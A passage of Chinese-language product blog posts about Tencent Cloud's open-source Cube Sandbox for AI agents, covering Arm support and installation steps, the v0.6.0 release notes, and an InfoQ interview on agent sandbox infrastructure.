训练平台、或面向开发者的代码执行服务，欢迎来 GitHub 拍砖、贡献。 **GitHub 仓库**：https://github.com/TencentCloud/CubeSandbox **v0.5.0 完整 Changelog**：https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/changelog/v0.5.0.md --- --- url: https://cubesandbox.com/zh/blog/posts/2026-07-08-cubesandbox-arm-support.md description: >- 7月3日，由腾讯云开源的 AI Agent 安全沙箱 Cube Sandbox v0.5.0 正式发布。Arm 架构原生支持作为核心特性之一，已在 Arm 工程团队的重点投入下合入开源主线。开发者现在可以在 AArch64 服务器上，实现从原生构建、部署、启动到运行典型沙箱负载的完整流程。 --- # Cube Sandbox正式支持Arm架构！腾讯云与Arm联手解锁Agent多架构算力 7月3日，由腾讯云开源的 AI Agent 安全沙箱 **Cube Sandbox v0.5.0** 正式发布。作为专为 LLM 应用设计的硬件级隔离运行底座，v0.5.0 此次面向生产环境进行了关键升级，围绕"稳、省、广"补齐了多项能力；其中，**Arm 架构原生支持**作为核心特性之一，已在 Arm 工程团队的重点投入下合入开源主线。（[V0.5.0 详情可见：Cube v0.5.0发布：自动暂停 · Arm支持· 一键集群部署，把沙箱送进生产](https://mp.weixin.qq.com/s?__biz=MzYzNDkyMDU3MQ==\&mid=2247483839\&idx=1\&sn=bd0f059a3e3be0654f1c1ca89e4e8107\&scene=21#wechat_redirect)） 开发者现在可以在 **AArch64** 服务器上，实现从原生构建、部署、启动到运行典型沙箱负载的完整流程。 为打通从底层构建到运行时的关键路径，腾讯云 IaaS 前沿技术团队与 Arm 工程团队开展了为期数月的深度联合研发，重点攻克 **AArch64 构建、Guest Kernel、运行环境及部署链路**等关键目标。 随着算力供给加速迈向"x86 + Arm"多架构并存，行业亟需 Agent 运行底座突破传统架构边界。v0.5.0 将沙箱的核心隔离能力扩展至 Arm 生态，不仅是生产级交付能力的提升，更为横跨云、边、端多元异构场景下的 Agent 提供了可靠、灵活的运行支撑。 ## 一、当算力平台走向异构 如果将"AI Agent 大规模上生产"视为对底层基建能力的一次大考，你会发现有两个变量正以肉眼可见的速度发生演变： **首先是负载侧。** 当前的 Agent 已不再是简单的一次性脚本，而是演变为数十、数百次串行或并发的工具调用。每一次调用都意味着一次沙箱的启停、一段隔离的运行以及一次结果的回收。 这种负载模式对底层基础设施提出了极致需求：既要有**极高的算力密度**，又要有**极快的弹性响应**。 **其次是基础设施侧。** AI 时代的算力供给正快速从单一架构走向"x86 + Arm"双轨并行。凭借 Arm Neoverse 平台在云端 AI 工作负载方面的能效和性能优势，Arm 架构正在获得行业的广泛采用。随着 Amazon Graviton、Google Cloud Axion、Microsoft Azure Cobalt 等 Arm 计算平台持续扩展，以及诸多国产 Arm 处理器快速落地部署，Arm 生态正加速发展。**"AI 跑在 Arm 上"**已从尝鲜话题转变为**真实的预算投入**。 把这两个变量叠加在一起看，结论是清晰的：Agent 沙箱不能局限于 x86，它必须在多架构服务器环境中补齐部署能力。更进一步，它不应止步于在 Arm 上"跑通"，更要在这一平台上跑出**与 x86 同等量级甚至更优**的性能表现。 这正是 Cube 团队与 Arm 工程团队联合研发的起点。 ## 二、从"能跑"到"原生" 从 Arm 工程团队最初介入，到代码正式合入主仓库，这场联合研发历时数月。真正推动项目从"能跑"迈向"能用"的，是最后阶段的高强度打磨——仅本轮合入主线的改动，便历经二十余次提交。 这一版的交付核心在于：Cube Sandbox 已具备在 **AArch64** 平台上**原生部署、编译、启动和运行典型沙箱工作负载**的全链路能力，项目正式进入落地阶段。具体而言，此次更新深入到了四个关键层面： **一是原生编译与构建。** 团队清理了散落在构建脚本、Dockerfile 及组件中的 x86/amd64 默认假设，让系统能根据目标架构正确构建与输出。为降低开发门槛，团队还特别优化了构建链路，将 Guest 内核构建配置为支持跨架构交叉编译的独立目标。也就是说，开发者在 x86 机器上就能产出 Arm 内核镜像，无需依赖 Arm 架构设备也能轻松上手。 **二是原生生态的部署。** 为了适配多元算力环境，团队打通了从部署包生成到沙箱拉起的完整链路。通过优化构建工具链，开发者现在仅需一条 `docker buildx` 命令，即可同时产出兼容 x86 与 Arm 的多架构镜像，让 Cube Sandbox 能够无缝融入现有的 CI/CD 流程。 **三是平滑启动。** 针对 Arm 与 x86 在底层架构上的差异，团队重构了引导路径与 I/O 逻辑。通过引入 **UEFI 固件**替代传统的 SeaBIOS，以及对 Hypervisor 层进行深度适配，确保了沙箱在 Arm 服务器上能够像在 x86 上一样快速、稳定地启动。 **四是原生程度的高效运行。** 双方团队跳出了传统 CPU benchmark 的视角，转而聚焦 Agent 生产环境真正关心的指标：包括优化**冷启动、Snapshot 创建与回滚、高并发创建以及单机部署密度**等关键能力，确保 Cube Sandbox 在 Arm 架构下不仅能"跑起来"，更能"跑得快"、"跑得稳"。 如果说"能跑"是门槛，那么"能用"才是交付给开发者的入场券。这一步的跨越，意味着开发者已能将 Cube Sandbox 真正融入生产工作流。 ## 三、如何实现跨架构 这条链路之所以极具挑战，在于 Cube Sandbox 要迁移的并非一个普通应用，而是一套面向 AI Agent 的沙箱运行体系。它既涉及外部构建和镜像产物，也涉及沙箱内部的 Guest Kernel、Guest Agent，以及更底层的虚拟化和安全隔离能力。 为了在"Agent 原生指标"上拿到极致的结果，双方团队重点解决了以下关键的技术难题： **首先，消除对 x86 架构的依赖与硬编码假设。** 很多基建项目在长期演进中，都会把 x86 当成默认环境。Cube Sandbox 迁移的第一步，就是拆解构建脚本、Dockerfile 及组件中硬编码的 `x86_64` / `amd64` 设定。这不仅包括让 Go 组件的编译目标自动跟随宿主架构，还包括为网络模块的字节码生成逻辑补齐 **AArch64** 专属编译头文件，让项目真正具备跨架构构建与多架构输出的能力。 **其次，跨越 Hypervisor 的底层架构鸿沟。** 这是本次适配中最复杂的部分，涉及 I/O 系统、引导路径和安全机制的全面重构： * **I/O 系统的架构跨越：** 将 Guest 对 Host 的控制通知通道从原来的 PIO（Programmed I/O）改写为了 MMIO（Memory Mapped I/O），以适配 Arm 架构特性； * **引导路径重构：** x86 机器依靠轻量化 SeaBIOS 启动，而针对 Arm 架构，团队改造了启动逻辑，现在可以正常使用 UEFI 固件开机； * **Seccomp 沙盒对齐：** 针对 x86 与 **AArch64** 的系统调用号差异，重写了过滤规则，确保安全隔离机制在多架构环境下依然有效。 **最后，重新验证虚拟化与安全链路。** Cube Sandbox 的核心价值是为 Agent 提供硬件级隔离，这背后依赖 KVM、Hypervisor 等底层能力。单纯的编译通过并不够，本轮改动横跨虚拟化层、网络模块与构建工具链等多个子系统。 在双方团队的多轮交叉审查过程中，还发现并修正了一处导致基础库路径失效的隐蔽 Bug。这种对底层细节的反复校准，为系统在多架构环境下的稳定运行提供了保障。 这也是 Arm 工程团队深度介入的原因。它并未止步于代码合入，而是聚焦在 **AArch64** 环境中建立一条可启动、可通信、可验证的兼容性链路，确保 Cube 在异构平台上也能获得与原生环境一致的确定性与稳定性。 ## 四、如何在 Cube 上运行你的第一台 Arm 沙箱 **环境要求：** * **环境：** AArch64 架构的 Linux 服务器（支持虚拟化特性的物理机） * **操作系统：** 推荐 OpenCloudOS 9（内核 6.6） * **需在 root 用户下运行 + Docker 已运行** > ⚠️ **注意：** Arm 上暂不支持 PVM 嵌套虚拟化，请使用原生 KVM 的物理机 / 裸金属（云 VM 需已开启 Arm Nested Virt）。 ### Step 1：下载并安装 ```bash # 1. 下载 ARM64 one-click 包 wget https://github.com/TencentCloud/CubeSandbox/releases/download/v0.5.0/cube-sandbox-one-click-v0.5.0-arm64.tar.gz # 国内用户可使用如下地址： wget https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/v0.5.0/cube-sandbox-one-click-v0.5.0-arm64.tar.gz # 2. 解压并安装 tar -xzf cube-sandbox-one-click-v0.5.0-arm64.tar.gz cd cube-sandbox-one-click-v0.5.0-arm64 # 3. 生成配置文件（大多数场景用默认值即可） cp env.example .env # 如果 eth0 不是主网卡，编辑 .env 显式指定 IP： # CUBE_SANDBOX_NODE_IP=<你的节点IP> # 如果默认 CIDR 192.168.0.0/18 与本机网络冲突，同步改： # CUBE_SANDBOX_NETWORK_CIDR=<你的可用CIDR> # 4. 一键安装 sudo ./install.sh ``` ### Step 2：部署验证 & 环境变量设置 ```bash # 健康检查 sudo ./smoke.sh # 在客户端设置 4 个环境变量（本机测试可全跑在同一台上） export CUBE_TEMPLATE_ID=<你的模板ID> export E2B_API_URL=http://<目标机IP>:3000 export E2B_API_KEY=e2b_000000 # 本地任意字符串即可 export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` ### Step 3：拉起第一个沙箱 ```python # 用 e2b-code-interpreter SDK 拉起第一个 ARM 沙箱 import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sbx: print(sbx.run_code("import platform; print(platform.machine())")) # 预期输出：aarch64 ``` 更完整的配置项、部署流程和详细说明，参考官方文档 → <https://cubesandbox.com/zh/guide/self-build-deploy.html> ## 五、结语 回到工程本身，Cube Sandbox v0.5.0 的关键并不只是"支持 Arm"，而是把 Agent 沙箱在 **AArch64** 环境中必须跨过的几道门槛逐一补齐，让 Arm 架构不再只是 Cube Sandbox 的一个兼容目标，而开始成为 Agent 安全执行环境中可构建、可启动、可验证的真实运行选项。 对于正在 Arm 服务器上构建 AI Agent 工作流、Agentic RL 训练平台或代码执行服务的团队来说，当前版本已经提供了一个可用起点。后续，随着冷启动、快照回滚、并发创建和部署密度等指标继续优化，Cube Sandbox 在异构算力场景中的生产价值也会进一步释放。 项目代码已在 GitHub 开源，欢迎查看代码、提交 Issue 或通过 PR 参与共建。 * **GitHub 仓库：** <https://github.com/TencentCloud/CubeSandbox> 如果觉得 Cube 还不错，欢迎点个 Star 🌟 关注一下哦～ --- --- url: https://cubesandbox.com/zh/blog/posts/2026-07-24-cubesandbox-v0.6.0-release.md description: >- 今天（7月24日），Cube Sandbox v0.6.0 正式发布。这一版共合入 92 个提交，来自 31 位贡献者，带来六大核心特性。其中，K8s 与 Volume 支持是社区呼声最高的两项，也是本次发布版本的最大亮点。 --- # Cube Sandbox v0.6.0：K8s 部署、Volume 框架领衔，六大能力全面走向生产 今天（7月24日），Cube Sandbox v0.6.0 正式发布。 如果前几个版本是让 Cube 具备完善的基础功能，那么 v0.6.0 则是针对稳定性、容错、运维与监控等维度进行了更深层优化，并引入了更灵活的扩展与存储支持。这一版共合入 92 个提交，来自 31 位贡献者，带来六大核心特性。**其中， K8s 与 Volume 支持是社区呼声最高的两项，也是本次发布版本的最大亮点。** ## K8s 部署：控制面组件及计算节点均支持 这一版起，Cube 的控制面组件与计算节点均可通过 Helm Chart 直接部署到 K8s 集群——无论是腾讯云 TKE、标准 K8s 还是轻量的 k3s。 从技术上看，这件事的价值在于，把 Cube 的生命周期交还给了 K8s 的控制循环。过去把 Cube 搬上生产，往往要在集群之外再维护一套部署、升级、扩缩容的流程，Cube 像一个需要单独照看的"外挂系统"。现在，控制面组件以标准工作负载的形式运行，计算节点作为可调度、可编排的资源纳入集群管理，滚动升级、灰度发布、水平扩缩等 K8s 原生能力，可以原样作用在 Cube 上。Cube 从"特殊对象"变成了集群里的普通一员。 需要说明，K8s 部署当前是预览版，平滑升级等进阶能力仍在打磨。这一步的方向已经明确：让 Cube 真正做到 K8s 原生。欢迎你上手试用，把踩到的坑反馈给我们。 ## Volume 框架：把存储的选择权还给用户 沙箱如何持久化和共享数据，是很多团队关心的问题。v0.6.0 开始，已正式引入**兼容 E2B 标准的 Volume 框架。** 它的设计核心是**可定制**。框架本身不绑定任何具体存储实现，而是抽象出 Create、Destroy、Attach、Detach 四个 HOOK 点——沙箱与存储的交互全部收敛到这四个节点上。你要接入自己的后端存储，只需实现这几个钩子即可，无需改动 Cube 内核。插件形态也给了两种选择：既可以做成独立的可执行程序，也可走 RPC 调用，前者部署简单、隔离性好，后者更适合复杂或需要常驻的存储服务。而兼容 E2B 标准意味着，面向 E2B Volume 协议编写的工作负载，可以平滑迁移到自托管的 Cube 集群上。 这一版已经支持 Volume 的生命周期管理、沙箱绑定 Volume 的相关 API，以及配套的 SDK 与命令行能力。换句话说，"沙箱用什么存储"这件事的主动权，从今天起回到了你手上。 ## 模板别名：给模板起个好记的名字 以往拉起沙箱要指定一长串模板标识，容易记错。现在创建模板时可以设置一个别名，之后直接用别名创建沙箱，既直观又不易出错。目前 Python SDK 已支持通过别名创建沙箱，其他 SDK 将在后续支持。 ## 入向请求 Host 可配置：更好地兼容沙箱内服务 有些应用会依赖请求的 Host 做路由、校验或回调，默认的转发 Host 未必满足它们。这一版允许在创建沙箱时指定转发给沙箱内服务的 Host，让这类"挑剔 Host"的服务也能在 Cube 上顺畅运行，兼容性更进一步。 ## 计算节点隔离：运维时的一颗定心丸 运维少不了要登录节点做维护、升级或排障。这一版**支持将某个计算节点从调度层面"隔离"出来**——一旦隔离，调度器不再往该节点分配新沙箱，而节点上已有的存量沙箱照常运行，互不影响。维护完成后再解除隔离即可。这让运维动作既安全又可控，不必再为"会不会影响线上"而束手束脚。 ## CubeOps 独立成服：让 CubeAPI 更轻、更专注 我们把 Web 控制台与运维相关逻辑从 CubeAPI 模块中剥离出来，独立为 CubeOps 服务。这次解耦让 CubeAPI 回归到更纯粹的角色，职责更清晰、更易扩展；运维与控制台能力也获得了独立演进的空间。这也是 Cube 走向模块化、可组合架构的重要一步。 ## 其他更新与修复 除六大核心特性外，v0.6.0 还有一批面向稳定性与易用性的改进： * Pause 状态沙箱可删除 * 新增 PostgreSQL 元数据后端 * 沙箱内从 cgroup v1 升级到 cgroup v2 * Cubelet 状态存储支持动态扩容 * 多个 SDK 的交互终端、认证与协议帧问题得到修复 * 网络与安全代理侧对齐了 E2B 的错误码语义并增强了 TLS 兼容性 * 修复 CVE 安全漏洞，并更新了 PVM 内核 * 配套的 Kubernetes 部署、节点隔离、Volume 插件等中英文文档也已同步上线…… ## Coming Soon…… v0.6.0 迈出的是"生产可用"的一步，而 Cube 的方向一直很清楚——云原生、E2B 兼容、高可用、有状态。围绕这四条主线，v0.7.0 及后续版本正在推进： * **让 K8s 部署更"原生"**：从 Helm 部署进一步走向以 CRD、Operator 为核心的原生管理，并补齐平滑升级能力。 * **跨机暂停与恢复**：实现集群维度的跨节点暂停与恢复——把沙箱从一台宿主机暂停、迁移到另一台完整恢复，保留内存与文件系统状态，提高整集群资源利用率。 * **全链路高可用能力：** 执行流和运维流的分离，所有控制面组件的高可用部署，计算节点故障时的沙箱恢复能力 * **持续对齐 E2B**：补齐剩余 API 差距，提供 E2B 兼容的指标接口，让面向 E2B 的工作负载零改动接入。 * **性能与运维再进一步**：优化业务进程的 IO 效率、提供一键性能测试工具，持续补齐实际生产部署需要的运维能力和可观测能力。 如果你正在寻找一个高性能、易运维、兼容 E2B 的沙箱方案，不妨现在就试试 v0.6.0。用得顺不顺、卡在哪儿、还差什么——这些真实的声音，比任何路线图都更能告诉我们下一步该往哪走。 GitHub 上见：https://github.com/TencentCloud/CubeSandbox v0.6.0 完整 Changelog：https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/changelog/v0.6.0.md --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-08-13-cubesandbox-agent-infra-interview.md description: >- 2026 年初，OpenClaw 以一己之力掀起了本地终端 Agent 热潮，人们开始习惯把文件系统、浏览器、邮件、终端，以及各种账号权限交给 Agent。但「养虾」的背后，潜藏着比模型幻觉更直接的风险。本文系 InfoQ 对腾讯云 IaaS 前沿技术团队负责人金峰的独家采访，从 Cube 的 Serverless 技术起源出发，探讨了 Agent 沙箱从「能运行」到「生产级可用」的演进路径。 --- # 从亚百毫秒级启动到生产级部署，腾讯云为何重构 Agent 沙箱？ > 本文首发于 InfoQ，系 InfoQ 对腾讯云 IaaS 前沿技术团队负责人金峰的独家采访，经授权在 Cube Sandbox 公众号转载发布。 2026 年初，OpenClaw 以一己之力掀起了本地终端 Agent 热潮，人们开始习惯把文件系统、浏览器、邮件、终端，以及各种账号权限交给 Agent。"养虾"，一度成了上半年最时髦的事儿。 但"养虾"的背后，潜藏着比模型幻觉更直接的风险。 Meta 超级智能实验室对齐负责人 Summer Yue 曾公开表示，她的"小龙虾"擅自删除和归档了数百封个人邮件，完全无视她给出的停止指令，最后只能通过手动关闭运行设备来终止相关进程。担忧很快从个人用户延伸到企业。多家科技公司出于安全考虑，开始限制员工在工作设备上使用"小龙虾"；中国工业和信息化主管部门也公开提醒，配置不当的"小龙虾"实例可能面临网络攻击和数据泄露风险。 OpenClaw 把 Agent 推到了聚光灯下，也把它脚下那层长期被忽略的基础设施带到了台前。大家开始意识到，一个拥有系统权限、行为却无法被完全预判的 Agent，如果直接运行在个人电脑或生产环境里，几乎等同于"裸奔"。它需要一个独立、隔离、随时能够恢复的执行环境——这也是沙箱近期受到开发者和云厂商集中关注的原因。 围绕这层新基础设施，国内外已经出现了一批探索。Anthropic 以公开测试的形式发布了 Claude Managed Agents，提供一套完整的托管式 Agent 运行平台；E2B 则把隔离沙箱封装成开发者可以直接调用的服务，成为不少 Agent 项目主动兼容的一套接口参照；2026 年 4 月，腾讯云正式开源 Cube Sandbox，将其定位为一套面向 AI Agent 的执行环境底座。（Cube Sandbox 源码：https://github.com/tencentcloud/CubeSandbox） 在这些探索中，Cube 可以视作观察 Agent Infra 演进的一个特殊样本。原因在于，它做的是一个足够新的 Agent Infra 课题，但底层是一套从 Serverless 生产系统中演进而来的基础设施。 与不少在 Agent 爆发后快速出现的沙箱项目不同，Cube 的研发最早可以追溯到 2023 年前后，彼时它解决的还是 Serverless 场景中的底层问题。随后，Cube 陆续进入代码执行、数据分析、Agent RL 等场景，并最终转向 Agent Runtime。开源后，Cube 快速进入海外 Agent 生态。今年 7 月，OpenClaw 创始人 Peter Steinberger 主动为 Crabbox 提交并合并 PR，将 Cube 接入其 provider 体系，与 E2B、Modal 等沙箱服务并列。 从 Serverless 到 Agent 沙箱，哪些能力能够直接继承，哪些能力必须围绕 Agent 重新设计？Cube 系统有哪些设计思考？一个沙箱要从"能运行"走到"大规模生产可用"，真正的门槛是什么？腾讯云为什么选择把这套系统全面开源？围绕这些问题，InfoQ 日前采访了腾讯云 IaaS 前沿技术团队负责人、腾讯 14 级研发工程师金峰，以期了解 Cube 从 Serverless 底座转向 Agent 沙箱的过程，以及团队对下一代 Agent Infra 的判断。 ## 1 "Agent 不能复用老式 Infra" Agent 对基础设施的要求，正在发生根本变化。 过去，无论是虚拟机、容器还是 Serverless，基础设施要解决的核心问题都比较明确：提供可用的计算资源，让应用稳定运行。但 Agent 不是传统意义上的应用，它由大模型驱动，可以自主规划、调用外部工具、访问网络，以人的身份做任何事情。在最新的探索中，大家期望 Agent 可以自主执行长达数天乃至数周的长程工作任务，在这么长的生命周期里，如何保证 Agent 的自主行为依然可控？显然，这个问题传统的计算资源解决不了，需要一个匹配 Agent 行为方式的运行环境。 金峰认为，Agent 本身具有非常鲜明的特点，按照不同场景可以将需求大致分为三类。 第一类是为 Agent 的工具执行提供一个完全隔离的环境。这也是当前沙箱使用最普遍的场景，对沙箱的要求是高并发下的拉起能力足够强，仿佛本地调用函数一样；同时资源利用率要高，能在一台普通服务器上承载数百甚至上千个并发实例。 第二类是由 Agent Harness 承载的长时运行任务。Agent Harness 本质是个有状态服务，在它的长时运行过程中，会不断产生各种中间状态和持久化状态产物。承载 Agent Harness 的沙箱需要有快速的状态保存/恢复能力，以匹配用户对 Agent 本身的快速暂停恢复及克隆回滚需求。 第三类更进一步：给 Agent 访问的服务提供一个统一的底座。不同于传统服务更多的强调稳态运维能力，面向 Agent 的服务，可能会直接成为 Agent 训练和推理循环的一部分，对服务本身的快速启停、分支探索回滚等能力提出了更高的要求。此外，传统服务如何零代码修改变成对 Agent 友好的服务，也是 Infra 需要解决的问题。 面对这些需求层面的新变化，如果还在沿用传统基础设施，显然不够用了。"Agent 确实需要一种更好的、更先进的 Infra，而不是继续复用老式的 Infra。"金峰认为，如果从提供计算资源的角度看，虚拟机、容器和 Serverless 这些传统基础设施都能运行 Agent，但它们都只解决了一部分问题。 比如，传统虚拟机虽然能提供较强的安全隔离，但启动速度可能在数秒左右，如果计算上控制面调度、资源分配和网络准备等环节，从 API 请求到实例真正可用，端到端可能需要 5-10 秒。相比，CubeSandbox 的冷启动时间不到 60ms，更适合高频工具调用和突发弹性扩容场景。 Docker 容器启动快、资源利用率高，也是当前不少 Agent 应用的过渡方案。但它的硬伤在于，共享宿主机内核，安全隔离能力天然很弱。随着 Agent 权限不断扩大、承载的任务越来越重要，容器在安全隔离层面暴露出的问题将越来越突出。 Serverless 函数在快速弹性和按需计费方面更接近 Agent 的需求，也适合执行短时间、无状态的工具任务。但它通常围绕事件驱动和无状态服务设计，通过横向扩缩容实现资源弹性，空闲时直接缩容至零，难以匹配 Agent 的有状态运行模式。 沙箱能受到关注，是因为它在试图补上这些传统方案之间的空白：既提供接近虚拟机的隔离边界，又具备接近容器的启动速度和资源密度，同时围绕 Agent 的状态保存、暂停恢复、克隆和回滚重新设计运行方式。 真正的难题，不只是做出一个沙箱，是让它成为生产基础设施，真正进入企业生产环境。 "企业对稳定性的关注度，可能会高于性能。"金峰表示，Agent 发展太快，底层基础设施没有形成成熟的最佳实践，很多团队还在沿用容器等传统方案过渡。对 Agent 这类有状态服务来说，除了实例本身能否稳定运行，任务状态、文件和执行环境在异常后能否完整恢复同样关键。此外，企业还会考察项目能否持续维护、部署后是否具备足够的自主可控能力。这也是为什么，Cube 的演进目标始终指向生产级大规模可用：不仅要让沙箱跑起来，还要证明它能在生产环境中稳定、规模化地运行。 ## 2 从 Serverless 到 Agent 沙箱，Cube 如何跨过生产级门槛？ ### Agent 爆火之前，Cube 已经跑了两三年 如前文所说，Cube 底层是一套从 Serverless 生产系统中演进而来的基础设施，最早启动于 2023 年左右。当时，团队主要面对的还是 Serverless 场景。Serverless 理想中的运行方式是，函数被调用时，计算环境能够快速出现；任务结束后，资源立即释放。但在当时，许多 Serverless 产品只是提供了类似 Lambda 的接口，底层依赖的仍然是传统技术。 腾讯云内部希望在技术上构建一套与这种模式严格匹配的基础设施，这也是 Cube 诞生的背景。Cube 最初的设计目标，就是重新建设一套原生适应小资源粒度、极速冷启动和海量并发的运行系统：不调用时几乎不占资源，需要时在百毫秒内完成环境创建，执行结束后迅速销毁。 这个起点，后来意外成为 Cube 进入 Agent 时代的技术伏笔。 在技术架构上，Cube 采用 RustVMM+KVM。"我们希望构建一套轻量级基础设施，当时，基于 RustVMM 构建轻量虚拟机是行业内较受关注的技术路线。不过，我们的选择与行业常见方案有所不同。很多项目会选择 Firecracker，而我们选择了 Cloud Hypervisor。"金峰表示，腾讯云内部面对的场景更复杂，后续会有很多硬件相关的需求。与 Firecracker 相比，Cloud Hypervisor 原生支持更多能力，例如设备热插拔和硬件直通等。因此团队选择在一个功能相对完整的 VMM 上做减法，将整体开销优化到与 Firecracker 接近的水平。 在这套技术路线之上，Cube 建立了三项核心能力。 第一项是快速启动。Cube 采用基于快照的启动方式，提前创建好模板快照，请求到来后直接基于快照恢复运行环境，不必重新经历完整的虚拟机启动过程，从而将资源拉起时间压缩至百毫秒以内。 第二项是高并发。Serverless 场景下，资源需要被频繁创建和销毁，对单机和集群控制面的并发能力都提出了更高要求。在计算节点内部，Cube 进行了大量异步化设计，并组成沙箱所需的网络、存储等资源。在集群层面，Cube 没有直接沿用传统虚拟机或 Kubernetes 的控制面设计，选择让控制面具备横向扩展能力：单个计算节点独立承接沙箱创建，增加节点后，集群整体的并发处理能力也可以同步提升。 第三项是高密度。为了让单台机器承载更多实例，Cube 引入了大量资源共享和写时复制机制，不同实例可以复用相同的只读内核、根文件系统等底层资源，只有当某个实例真正发生写入时，才为其分配独立资源，从而减少大量重复的内存和存储开销，使单个节点能够承载上千个轻量实例。 这些能力最初都是围绕 Serverless 的运行特点构建的，随着 Agent 兴起，团队发现，它们同样契合 Agent 对运行环境的需求。这也是 Cube 从 Serverless 基础设施走向 Agent 沙箱的技术基础。 "整个过程大致可以分为三个阶段。"金峰表示，第一阶段主要围绕代码执行和数据分析。早期，以 E2B、Manus 为代表的产品，已经开始让 Agent 在隔离环境中执行代码，或者读取 Excel 等文件，完成数据分析和报表生成。Cube 最初也瞄准了这两类相对明确的场景，并逐步进入腾讯元宝等产品中。 第二阶段围绕 Agent 强化学习（Agent RL）。相比普通的代码执行，Agent RL 会同时拉起大量训练环境，对镜像管理、快速启动和高并发提出更高要求。Cube 在 Serverless 阶段积累的架构能力，也在这一阶段得到进一步验证。金峰表示，当时 Cube 在 MiniMax 场景中的多项指标表现明显优于其他方案，并由此逐渐积累起行业口碑。 第三阶段则从服务模型训练，进一步走向 Agent Runtime。随着 OpenClaw 等产品带动本地终端 Agent 兴起，人们发现传统基础设施成为了一种"将就"，Agent 应该拥有更加适合自身运行特点的执行环境。 "我们不是 Agent 火了以后才开始做这套系统。"金峰提到，Cube 的底层能力已经在 Serverless 和腾讯内部业务中经历了两三年的生产磨合，主体架构并不是一个刚刚完成的原型。这也是它与许多新出现的 Agent 沙箱最本质的区别：它先有一套为高并发、短生命周期负载设计的底座，再根据 Agent 的行为逐步改变系统边界。 ### 从"跑得快"到"管得住"，Cube 开始为 Agent 改造底座 因此在 v0.3.0 版本中，团队率先为 Cube 增加快照、克隆和回滚能力，补足的就是 Agent 对有状态环境复制与恢复的需求。快照（snapshot）可以将运行中沙箱的内存、运行状态和磁盘整体保存为独立快照，源沙箱销毁后也还能用；克隆（clone）能把一个沙箱裂变成 N 个；回滚（rollback）能让沙箱原地恢复到之前某次快照的状态，让内存状态和文件系统完全还原。对于 Agent 来说，这相当于同时获得了环境的"分身"和"回到过去"的能力。 在解决状态复制与恢复之后，Cube 的下一步，是处理 Agent 行为本身带来的风险。"Agent 是大模型驱动的，它会做什么事情，我们是没办法预判的。你可以用沙箱把它关起来，但它在里面干什么，其实并不完全可知。"金峰表示。所以在 v0.4.0 版本中，Cube 重点补齐了出站治理、凭证托管和网络观测审计等能力。增加的这些能力，本质上都是在不削弱 Agent 灵活性的前提下，为其不可预测性增加边界。 到了 v0.5.0，Cube 想解决的是"稳、省、广"。这一版本的核心特性就是让沙箱学会自动暂停（AutoPause）与唤醒（AutoResume），增加对 Arm 架构的原生支持，并将单机 Demo 走向集群部署，为生产环境提供更完整的部署架构示例，降低企业将 Cube 引入真实业务的门槛。 "我们不希望干扰 Agent 的灵活性，因为泛化能力正是 AI 的价值；但它不可控的部分，还是要把边界管好。"金峰说道。从 v0.3.0 的快照、克隆和回滚，到 v0.4.0 的出站治理、凭证托管和网络观测审计等能力，再到 v0.5.0 的自动休眠恢复、Arm 支持和生产部署，Cube 的版本演进既保留了 Agent 的自主性和泛化能力，也将它的不确定性限制在可控范围内。 但对企业来说，这些还不够。一个新基础设施能不能真正进入生产环境，需要看它是否能被部署、运维和接入现有系统。 ### 真正嵌入企业基础设施 Cube 最初主要运行在物理机上，虽然能充分发挥 KVM 和轻量虚拟化的性能，但也抬高了外部用户的使用门槛。尤其在云上环境中，要求企业单独准备物理机，成本和运维复杂度都比较高。因此在开源不久后，团队便逐步补齐在云上虚拟机中运行 Cube 的能力。最新发布的 v0.6.0 版本，增加了对 Kubernetes 的支持，进一步延续降低部署门槛的思路。 "Kubernetes 是很多企业基础设施的事实标准，很多公司的机器资源本身就是由 Kubernetes 管理的。"金峰表示，真正使用 Agent 的业务团队和负责集群运维的团队往往并不是同一批人，如果部署 Cube 必须先从现有 Kubernetes 集群中拆出一批机器，再单独搭建和维护一套集群，业务团队很难独立推动落地。 从 v0.6.0 版本起，Cube 的控制面组件和计算节点可以通过 Helm Chart 直接部署到腾讯云 TKE、标准 Kubernetes 或 k3s 集群中。这样一来，企业无需在现有基础设施之外再维护一套独立的部署体系，Cube 的组件也可以作为标准工作负载纳入 Kubernetes 管理，复用企业已经成熟的部署、升级、扩缩容和运维能力。在后续版本中，Cube 还计划让 Kubernetes 部署更"原生"：从 Helm 部署进一步走向以 CRD、Operator 为核心的原生管理，并补齐平滑升级能力。 v0.6.0 新增的另一项备受开发者关注的能力，是正式引入兼容 E2B 标准的 Volume 框架。"Volume 是很多开发者关注的一项能力，因为 Agent 在运行过程中通常需要持久化存储，并不是任务执行结束后，所有数据都可以随沙箱一起销毁。Agent 可能需要加载多个 Skills，也可能在运行过程中产生新的 Skills；在数据分析场景中，它还可能需要读取外部 Excel 文件，并输出新的 Excel 文件。因此，沙箱需要一套与自身生命周期解耦的持久化存储。" 金峰提到，在早期版本中，Cube 提供了一种相对临时的解决方式：将宿主机上的目录绑定到沙箱中。不少外部用户也在使用这项能力，以满足持久化存储需求。引入 Volume 后，Cube 对存储能力进行了进一步抽象。除了 Sandbox，系统中也增加了与其平行的 Volume 抽象，用来代表持久化存储。团队还参考了 Kubernetes CSI 的设计思路，采用插件化设计，用户可以针对不同存储编写类似 Kubernetes CSI 的插件，对接自己的后端存储，同时对外保持统一的接口抽象。 Kubernetes 支持解决的是 Cube 如何进入企业已有的计算和运维体系，Volume 解决的是 Agent 所需文件与任务产物如何进入企业已有的存储体系，早先版本发布的 CubeEgress，则给企业用户提供了充足的网络治理能力。这几项能力的更新，能够加快 Cube 进入企业已有的基础设施体系，也代表着，Cube 正从一个提供隔离执行环境的沙箱，变成一套可以嵌入企业基础设施的 Agent 运行底座。 ## 3 以开源开放，推动 Agent Infra 向前一步 2026 年 4 月，腾讯云正式开源 Cube。金峰坦言，开源更直接的原因是，Agent 的发展速度已经超过了基础设施的演进速度。直到今天，关于 Agent 究竟需要怎样的运行环境，行业仍然没有形成明确答案。一种常见观点是，企业已经有了 Kubernetes 和容器，没有必要再引入一套新的沙箱系统。毕竟从"把程序跑起来"的角度看，现有基础设施确实可以完成任务。 